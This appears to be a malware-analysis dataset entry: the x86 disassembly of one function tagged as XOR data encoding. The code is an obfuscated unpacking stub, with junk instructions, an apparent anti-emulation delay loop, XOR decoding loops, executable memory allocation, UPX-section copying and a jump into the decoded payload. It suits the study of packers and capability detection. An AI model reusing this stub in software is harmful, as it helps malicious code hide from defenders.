Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x4127728
not esi
not esi
not esi
popal
dec esi
sub eax, esi
dec eax
mov ecx, 0
mov eax, edx
dec edi
sub esi, 0x948f0546
mov ebx, eax
or edi, esi
sub esi, edi
mov edx, ebx
mov esi, edi
mov edi, 0x2906dd66
add edi, 0xdfb894ed
add ecx, 1
add edi, 0xa0517830
mov esi, 0xf0f193cf
inc edi
cmp ecx, 0x1003ca4
jne 0xa789c2
or esi, edi
mov esi, edi
and esi, eax
mov esi, eax
dec esi
mov edx, 0xa78796
sub ecx, esi
or esi, esi
mov eax, 0xa7898a
mov esi, edi
dec esi
sub esi, ecx
mov ebx, dword [edx]
and ecx, esi
or edi, ecx
and ebx, 0xff
or esi, edi
add edi, 1
dec edi
xor dword [eax], ebx
inc ecx
add esi, 0x1173e3b0
or esi, esi
add eax, 1
not esi
add edi, 0xe4d53c6f
inc edx
dec esi
and edi, ecx
cmp eax, entry0
jl 0xa78a1a
mov edi, ecx
and ecx, esi
dec ecx
mov ecx, esi
inc ecx
add edx, 0xb4993f09
inc ecx
mov edi, 0xa7898e
add edx, ebx
and esi, esi
mov edx, ebx
mov edi, dword [edi]
or ebx, edx
add edx, 0xed54bd1d
mov edi, dword [edi]
add ebx, 0xed6ab108
mov ebx, 0xae2d6f87
push edi
mov esi, 0xb3cb63fd
mov edx, esi
mov ebx, 0xecb75017
mov edi, 0xa7898a
mov ebx, ecx
not edx
mov edi, dword [edi]
mov edx, 0x1d54f717
not esi
sub edx, ebx
mov edi, dword [edi]
and esi, edx
sub ebx, 0xee98fa1
inc edx
push 0xa78992
sub ecx, edx
mov edx, ecx
mov edx, ebx
call edi
sub edx, esi
or ecx, edx
add edx, 0x695ae6a
pop edi
sub ecx, esi
mov ebx, 0x96aa98e0
mov ebx, edx
push 0xa7899f
not esi
not ebx
dec ecx
push eax
add edx, 0xe3dddc5c
add ecx, 0xbd3adb8d
sub esi, edx
call edi
mov edx, 0x2ecb9b2f
add ebx, ecx
not ebx
push 0x40
not ebx
sub ecx, 0x54bf8789
sub esp, 4
mov dword [esp], 0x3000
mov ecx, 0x10f887a9
sub esi, 0xb4863374
not esi
push 0x200006cb
sub ecx, ebx
mov ebx, edx
push 0
sub edx, ebx
sub esi, 0xa63f36b7
sub edx, esi
call eax
mov ebx, 0x9fb27769
add ebx, 0xe3255a94
not esi
add eax, 0x20000607
sub ebx, esi
or esi, edx
mov edi, 0xceee11b5
mov ebx, ecx
add esi, 1
mov dword [eax], edi
add ebx, 0xd9bec10
add ecx, 1
add esi, esi
mov edi, dword [eax]
dec edx
add edx, 0x4f02a3b7
cmp edi, 0xceee11b5
je 0xa78b84
mov ecx, 0
mov byte [ecx], al
mov ebx, edx
sub edx, ebx
mov ecx, 0x2bb575bc
add edx, esi
add eax, eax
sub eax, 1
mov edx, section.UPX1
and eax, esi
mov eax, 0x51f59a3
mov ecx, 0xa78795
or esi, eax
add esi, 1
mov edi, 0
not eax
add esi, eax
mov ebx, 0xa78796
sub esi, 0x140dde09
add esi, esi
lea ebx, [edi + ebx]
add eax, 0x6ce17313
dec esi
sub eax, 0x436bc6df
mov ebx, dword [ebx]
add esi, 0xa65dd523
mov eax, 0x1f5975a8
and ebx, 0xff
and eax, esi
sub esi, eax
inc edi
sub eax, 0xee34d7bf
sub eax, esi
and eax, esi
cmp edi, 0x1f4
jne 0xa78c05
mov edi, 0
add eax, 0x6238421f
sub eax, esi
sub eax, 0x9c3710d2
inc esi
sub esi, 0x204a81e8
add esi, esi
xor dword [edx], ebx
add eax, eax
mov eax, 0xad6a5177
add edx, 2
inc esi
sub esi, 0xb45be502
cmp edx, ecx
jl 0xa78bb9
sub eax, 0xc0fae687
dec esi
mov esi, 0x2b76bc8f
not esi
dec esi
mov eax, section.UPX1
inc edi
mov esi, 0xc447063b
mov ecx, section.UPX1
inc esi
mov esi, edi
mov ebx, 0xa78795
dec esi
add edi, edi
sub esi, 0x14ad92e1
mov edx, 0
mov esi, 0x8d915bc1
not esi
mov dl, byte [ecx]
sub esi, edi
add esi, 0xb05fd5
mov byte [eax], dl
sub edi, 0x5c919057
mov edi, 0x36daf3f7
or esi, edi
inc eax
and esi, edi
add edi, edi
dec esi
add ecx, 2
not esi
mov edi, 0xab17faea
sub esi, 1
cmp ecx, ebx
jle 0xa78c76
inc edi
dec edi
sub eax, 1
inc eax
add eax, esi
push 0x8dc6a0
or esi, esi
sub eax, esi
ret